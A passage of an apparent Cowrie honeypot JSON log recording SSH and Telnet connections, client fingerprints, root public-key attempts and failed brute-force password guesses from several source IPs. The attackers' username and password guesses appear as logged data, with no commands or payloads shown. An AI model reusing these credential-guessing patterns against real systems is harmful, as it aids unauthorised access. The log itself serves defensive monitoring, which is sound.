af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:11.633742Z","src_ip":"50.225.176.238","session":"0fdc60a7e434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"welcome","message":"login attempt [test/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:11.713948Z","src_ip":"50.225.176.238","session":"0fdc60a7e434","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:58:86:4f:9a:5b:40:55:6b:08:87:aa:b2:ae:80:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA60ZmkOaWTgP0XqMWo6ED/c7ETDl/WuT0dODGZ9H0wg0G6EBy+pIRwbzLglTV/7AzwG01AkJatwVtvvpR51GH0mmrx/0eZlnNtpXIho1W6DB1NvBSVtCpLKtsWiuTKFG+iHk1vAVQVxBxYAVfGkcUWKG3gvbb6K75dUQ/r9+bxsiAUqFDCXzHbHjwG27+X8y0iXNVDl8p+dk+jiDWLcKxxsGVBC4phEr1aaVSEhfgfaMkkKMz7msz5jI1xiJCiFBlLHlUBhzJ/T9uwadCHSoJ5l7soOAm5xkQFGeApE/dHuSyMxwxRbS3KdiaLp+KOACezSe9L7yeXRzEs8B7HhWt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:58:86:4f:9a:5b:40:55:6b:08:87:aa:b2:ae:80:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:11.935998Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:58:86:4f:9a:5b:40:55:6b:08:87:aa:b2:ae:80:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA60ZmkOaWTgP0XqMWo6ED/c7ETDl/WuT0dODGZ9H0wg0G6EBy+pIRwbzLglTV/7AzwG01AkJatwVtvvpR51GH0mmrx/0eZlnNtpXIho1W6DB1NvBSVtCpLKtsWiuTKFG+iHk1vAVQVxBxYAVfGkcUWKG3gvbb6K75dUQ/r9+bxsiAUqFDCXzHbHjwG27+X8y0iXNVDl8p+dk+jiDWLcKxxsGVBC4phEr1aaVSEhfgfaMkkKMz7msz5jI1xiJCiFBlLHlUBhzJ/T9uwadCHSoJ5l7soOAm5xkQFGeApE/dHuSyMxwxRbS3KdiaLp+KOACezSe9L7yeXRzEs8B7HhWt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:11.939955Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:d5:5a:0d:3e:a2:4c:e1:1d:1e:ae:ad:19:b9:34:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTZ8W2KbEd1rE3cbynAE9g97s65Gi/MhniCR5vIS8TgV7p0neViALLSwI2MZbRCKzj+gfLZaPrNGWeKvpUpjCWMLzv4qyGiSW+S+emgDL770IdFkgSZqVHZkOY8s9Lvla3nxHmV8FZNxvC160HcxtlTSaGQf9k1NpU8HST9ZGKYHMQpZ14pbo5PHlqW4fhszupJV805nk06FqQ+S/hAQN9D2OS6/pWTKhRyM+06ZSH55nFGFYhqvuil9WmeyrVS4h/kaXuzrlnzeDFM5Hr4WJgimF1H9g1dlEeS4iDYjgXIqPCHbxNuI3Le1GU8hBmmgmQg4+7s7JmqW5VOvy5coeF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:d5:5a:0d:3e:a2:4c:e1:1d:1e:ae:ad:19:b9:34:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:12.023368Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:d5:5a:0d:3e:a2:4c:e1:1d:1e:ae:ad:19:b9:34:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTZ8W2KbEd1rE3cbynAE9g97s65Gi/MhniCR5vIS8TgV7p0neViALLSwI2MZbRCKzj+gfLZaPrNGWeKvpUpjCWMLzv4qyGiSW+S+emgDL770IdFkgSZqVHZkOY8s9Lvla3nxHmV8FZNxvC160HcxtlTSaGQf9k1NpU8HST9ZGKYHMQpZ14pbo5PHlqW4fhszupJV805nk06FqQ+S/hAQN9D2OS6/pWTKhRyM+06ZSH55nFGFYhqvuil9WmeyrVS4h/kaXuzrlnzeDFM5Hr4WJgimF1H9g1dlEeS4iDYjgXIqPCHbxNuI3Le1GU8hBmmgmQg4+7s7JmqW5VOvy5coeF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:12.027093Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:ce:80:4a:94:1f:bd:e4:2a:84:b0:14:60:dc:5c:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ0xIygCMmonP81EmNTp6jqg5YyI2THzNO0E25yNRf79aItxSISQdAjmd9rGwqL8bueXnQKrCxAfO3HysKYWVgd3oWI9y+jXZjxedkA8iwADgwuZrx4Hwyww+PR/HPZPaoIO5Nn4F/hGIWxc1nsyktZ0Uf+iKBC6YXBrBHv1LgBrVEAkbzNRxvwxjAmZfTtoorv4p9d/hVYaOvPsNt0mdpBh+ILefDIvzmceEMrINadQhOTKTrBjGWjZqVacnc82+yFaeMQQyUVV3KyIGl3A0vt3b8SFT0dZlZK6GvCBRPny9MX3v27oLVdTSrqd7zvMHWe+floSlLlbst7zl99eT5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:ce:80:4a:94:1f:bd:e4:2a:84:b0:14:60:dc:5c:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:12.112687Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:ce:80:4a:94:1f:bd:e4:2a:84:b0:14:60:dc:5c:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ0xIygCMmonP81EmNTp6jqg5YyI2THzNO0E25yNRf79aItxSISQdAjmd9rGwqL8bueXnQKrCxAfO3HysKYWVgd3oWI9y+jXZjxedkA8iwADgwuZrx4Hwyww+PR/HPZPaoIO5Nn4F/hGIWxc1nsyktZ0Uf+iKBC6YXBrBHv1LgBrVEAkbzNRxvwxjAmZfTtoorv4p9d/hVYaOvPsNt0mdpBh+ILefDIvzmceEMrINadQhOTKTrBjGWjZqVacnc82+yFaeMQQyUVV3KyIGl3A0vt3b8SFT0dZlZK6GvCBRPny9MX3v27oLVdTSrqd7zvMHWe+floSlLlbst7zl99eT5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:12.116298Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:e9:a7:6a:97:31:7c:e2:73:31:85:db:5a:92:2b:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDLxeLwtO0m9pVyVlb48GYIZKqso0pN2HS9KaMKf1o4EEzDPyD74K0YG+Gu/k0EcLceTpi0ku22KkeB/ZNSwK7bRJnC8YEDGULdONpaj8NybWIUZ/IUJ7E0pBE8h1dlzhpjs7iN7mOLhYeDdTBErSnkvpYgRuvpuuZHEfQDdCzPzkDtaHGua8npb0rNdT42c8VaA7WTm8DpNRQWYI0a4Q62c8SIn2OOqdLR0+wpD31wD9uvtRXK43U6N1arLxPMsyFsWRi622EEWZCUw/SQ9UGyK2NXRcNqWrEeGZrRlw7p7rSwSKQopvOcBmj3mB0MVTD/HEXhDzZBnJSYQkaga1r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:e9:a7:6a:97:31:7c:e2:73:31:85:db:5a:92:2b:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:12.199661Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:e9:a7:6a:97:31:7c:e2:73:31:85:db:5a:92:2b:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDLxeLwtO0m9pVyVlb48GYIZKqso0pN2HS9KaMKf1o4EEzDPyD74K0YG+Gu/k0EcLceTpi0ku22KkeB/ZNSwK7bRJnC8YEDGULdONpaj8NybWIUZ/IUJ7E0pBE8h1dlzhpjs7iN7mOLhYeDdTBErSnkvpYgRuvpuuZHEfQDdCzPzkDtaHGua8npb0rNdT42c8VaA7WTm8DpNRQWYI0a4Q62c8SIn2OOqdLR0+wpD31wD9uvtRXK43U6N1arLxPMsyFsWRi622EEWZCUw/SQ9UGyK2NXRcNqWrEeGZrRlw7p7rSwSKQopvOcBmj3mB0MVTD/HEXhDzZBnJSYQkaga1r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:12.211931Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:47:60:36:88:d1:05:6a:5e:c1:55:42:e9:48:74:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgCQFfSKGdnEZ+0EbhGuYVRpjLzSaZNdFcML+AixLdanQRKHDO4afZ5OBM2+v40xv0ov2kZuiw4O3+8P90Qc/cZfyKk6DJJVGaTCXQa0rAx2DEIMjMvbnoBxMxgI4o7bsSqfeyhlQNvSJhjTANOQ+zlSRowSHjHXo8aU+1ALdOLIyj839iRKizfie2IfU3gQP2WBKMpplbmQQB4N4N7R6yErYnfiAf4Ga02sx47PPBX5oM63toA2Bk1MupHX9Li2zBGqJPSWa6reuEJuRe/LwJLPVCUE7hkn0m6xyhOGJWFVpr6zIb/5ZeX8Ooyu9WYcrey0ORzuTFcIWo7wUOcZmT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:47:60:36:88:d1:05:6a:5e:c1:55:42:e9:48:74:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:12.296956Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:47:60:36:88:d1:05:6a:5e:c1:55:42:e9:48:74:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgCQFfSKGdnEZ+0EbhGuYVRpjLzSaZNdFcML+AixLdanQRKHDO4afZ5OBM2+v40xv0ov2kZuiw4O3+8P90Qc/cZfyKk6DJJVGaTCXQa0rAx2DEIMjMvbnoBxMxgI4o7bsSqfeyhlQNvSJhjTANOQ+zlSRowSHjHXo8aU+1ALdOLIyj839iRKizfie2IfU3gQP2WBKMpplbmQQB4N4N7R6yErYnfiAf4Ga02sx47PPBX5oM63toA2Bk1MupHX9Li2zBGqJPSWa6reuEJuRe/LwJLPVCUE7hkn0m6xyhOGJWFVpr6zIb/5ZeX8Ooyu9WYcrey0ORzuTFcIWo7wUOcZmT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:12.300983Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:12.384784Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:12.728252Z","src_ip":"50.225.176.238","session":"0fdc60a7e434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":37906,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3e9f785592","protocol":"ssh","message":"New connection: 198.98.56.227:37906 (10.17.0.5:22) [session: fc3e9f785592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:24.531023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:24.536053Z","src_ip":"198.98.56.227","session":"fc3e9f785592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:24.559027Z","src_ip":"198.98.56.227","session":"fc3e9f785592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test01","password":"test01","message":"login attempt [test01/test01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:24.629703Z","src_ip":"198.98.56.227","session":"fc3e9f785592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:25.646212Z","src_ip":"198.98.56.227","session":"fc3e9f785592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":15667,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92929f05a0b","protocol":"telnet","message":"New connection: 212.55.149.117:15667 (10.17.0.5:23) [session: e92929f05a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:55.622322Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":46282,"dst_ip":"10.17.0.5","dst_port":22,"session":"f45544eadce4","protocol":"ssh","message":"New connection: 50.225.176.238:46282 (10.17.0.5:22) [session: f45544eadce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:01.327040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:01.331491Z","src_ip":"50.225.176.238","session":"f45544eadce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:01.343586Z","src_ip":"50.225.176.238","session":"f45544eadce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tempuser","password":"temp","message":"login attempt [tempuser/temp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:01.421604Z","src_ip":"50.225.176.238","session":"f45544eadce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:02.436915Z","src_ip":"50.225.176.238","session":"f45544eadce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":54300,"dst_ip":"10.17.0.5","dst_port":22,"session":"494fb89d57dd","protocol":"ssh","message":"New connection: 198.98.56.227:54300 (10.17.0.5:22) [session: 494fb89d57dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:08.639466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:08.649952Z","src_ip":"198.98.56.227","session":"494fb89d57dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:08.654803Z","src_ip":"198.98.56.227","session":"494fb89d57dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nxuser","password":"nxuser","message":"login attempt [nxuser/nxuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:08.707693Z","src_ip":"198.98.56.227","session":"494fb89d57dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:09.730300Z","src_ip":"198.98.56.227","session":"494fb89d57dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":35192,"dst_ip":"159.203.135.109","dst_port":22,"session":"28aa99e11f01","protocol":"ssh","message":"New connection: 213.209.159.56:35192 (159.203.135.109:22) [session: 28aa99e11f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:18.758231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:18.815418Z","src_ip":"213.209.159.56","session":"28aa99e11f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:18.893785Z","src_ip":"213.209.159.56","session":"28aa99e11f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linsey","password":"linsey","message":"login attempt [linsey/linsey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:19.255231Z","src_ip":"213.209.159.56","session":"28aa99e11f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linsey","password":"linsey1","message":"login attempt [linsey/linsey1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:20.340442Z","src_ip":"213.209.159.56","session":"28aa99e11f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linsey","password":"linsey123","message":"login attempt [linsey/linsey123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:21.426077Z","src_ip":"213.209.159.56","session":"28aa99e11f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linsey","password":"linsey1234","message":"login attempt [linsey/linsey1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:22.511386Z","src_ip":"213.209.159.56","session":"28aa99e11f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linsey","password":"linsey12345","message":"login attempt [linsey/linsey12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:23.596881Z","src_ip":"213.209.159.56","session":"28aa99e11f01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:24.681873Z","src_ip":"213.209.159.56","session":"28aa99e11f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38774,"dst_ip":"10.17.0.5","dst_port":22,"session":"44c07be39bc1","protocol":"ssh","message":"New connection: 103.15.226.202:38774 (10.17.0.5:22) [session: 44c07be39bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:25.202143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:59:25.207350Z","src_ip":"103.15.226.202","session":"44c07be39bc1","protocol":"ssh"}
